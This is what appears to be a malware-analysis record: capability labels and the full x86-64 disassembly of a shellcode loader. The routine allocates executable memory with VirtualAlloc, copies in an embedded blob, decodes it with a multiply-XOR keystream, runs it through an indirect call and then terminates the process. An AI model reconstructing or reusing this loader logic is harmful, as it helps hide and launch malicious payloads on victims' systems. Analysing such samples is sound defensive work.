Function at 0x14008f9b0
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Terminate process

Disassembly:
jmp 0x14008f9c0
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x148
cmp dword [0x140099018], 0
je 0x14008fa29
lea rsi, [0x14009901c]
xor ebp, ebp
lea rdi, [fcn.14008f9b0]
lea rbx, str.wwww
nop word cs:[rax + rax]
nop dword [rax]
mov rcx, rdi
mov rdx, rsi
mov r8, rbx
call fcn.14008fe20
test eax, eax
je 0x14008fc39
add rbp, 1
mov eax, dword [0x140099018]
add rsi, 0x10
cmp rbp, rax
jb 0x14008fa00
mov edx, dword [0x140099008]
xor edi, edi
xor ecx, ecx
mov r8d, 0x3000
mov r9d, 0x40
call sub.KERNEL32.dll_VirtualAlloc
mov r13, rax
mov r8d, dword [0x140099008]
test r8, r8
je 0x14008fb15
mov ebx, dword [0x140099004]
lea rcx, [fcn.14008f9b0]
lea rbp, [r8 - 1]
mov rdx, r8
and rdx, 7
je 0x14008faab
xor edi, edi
nop word cs:[rax + rax]
nop dword [rax]
lea rsi, [rbx + rdi]
movzx eax, byte [rcx + rsi]
mov byte [r13 + rdi], al
add rdi, 1
cmp rdx, rdi
jne 0x14008fa80
sub r8, rdi
lea rdx, [rdi + r13]
add rcx, rbx
add rcx, rdi
cmp rbp, 7
jae 0x14008fab7
jmp 0x14008fb0f
add rcx, rbx
mov rdx, r13
cmp rbp, 7
jb 0x14008fb0f
xor ebp, ebp
nop dword [rax]
movzx eax, byte [rcx + rbp]
mov byte [rdx + rbp], al
movzx eax, byte [rcx + rbp + 1]
mov byte [rdx + rbp + 1], al
movzx eax, byte [rcx + rbp + 2]
mov byte [rdx + rbp + 2], al
movzx eax, byte [rcx + rbp + 3]
mov byte [rdx + rbp + 3], al
movzx eax, byte [rcx + rbp + 4]
mov byte [rdx + rbp + 4], al
movzx eax, byte [rcx + rbp + 5]
mov byte [rdx + rbp + 5], al
movzx eax, byte [rcx + rbp + 6]
mov byte [rdx + rbp + 6], al
movzx eax, byte [rcx + rbp + 7]
mov byte [rdx + rbp + 7], al
add rbp, 8
cmp r8, rbp
jne 0x14008fac0
mov edi, dword [0x140099008]
mov r8d, dword [0x14009900c]
mov rcx, r13
mov rdx, rdi
call fcn.1400900e0
mov edi, dword [r13 + 4]
test rdi, rdi
je 0x14008fc36
mov ebp, dword [0x14009900c]
lea rax, [r13 + 8]
mov qword [rsp + 0x38], rax
mov eax, dword [r13]
mov qword [rsp + 0x30], rax
add eax, 0x100
mov dword [rsp + 0x2c], eax
xor r12d, r12d
lea r15, [rsp + 0x40]
xor r14d, r14d
mov ebx, r12d
add rbx, qword [rsp + 0x38]
imul ebp, ebp, 0x18d517
xor ebp, 0x352e09df
movzx esi, bpl
mov rcx, r15
mov rdx, rbx
mov r8, rsi
call fcn.14008fd00
lea rcx, [rsp + rsi]
add rcx, 0x40
add rbx, qword [rsp + 0x30]
add rbx, rsi
mov r8d, 0x100
sub r8d, esi
mov rdx, rbx
call fcn.14008fd00
mov ecx, r14d
add rcx, r13
mov r8d, 0x100
mov rdx, r15
call fcn.14008fd00
add r14d, 0x100
add r12d, dword [rsp + 0x2c]
cmp r14d, edi
jb 0x14008fb60
mov ecx, dword [0x14009900c]
cmp edi, 1
jne 0x14008fbdb
xor eax, eax
jmp 0x14008fc1b
mov edx, edi
and edx, 0xfffffffe
xor eax, eax
nop word cs:[rax + rax]
nop dword [rax]
imul ecx, ecx, 0x18d517
xor ecx, 0x352e09df
xor byte [r13 + rax], cl
imul ecx, ecx, 0x18d517
xor ecx, 0x352e09df
xor byte [r13 + rax + 1], cl
add rax, 2
cmp rdx, rax
jne 0x14008fbf0
test dil, 1
je 0x14008fc36
lea edx, [rcx + rcx*2]
shl edx, 3
sub edx, ecx
xor dl, byte [r13 + rax]
xor dl, 0xdf
mov byte [r13 + rax], dl
call r13
cmp dword [0x140099014], 0
jne 0x14008fc51
mov rcx, 0xffffffffffffffff
xor edx, edx
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov eax, 1
add rsp, 0x148
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret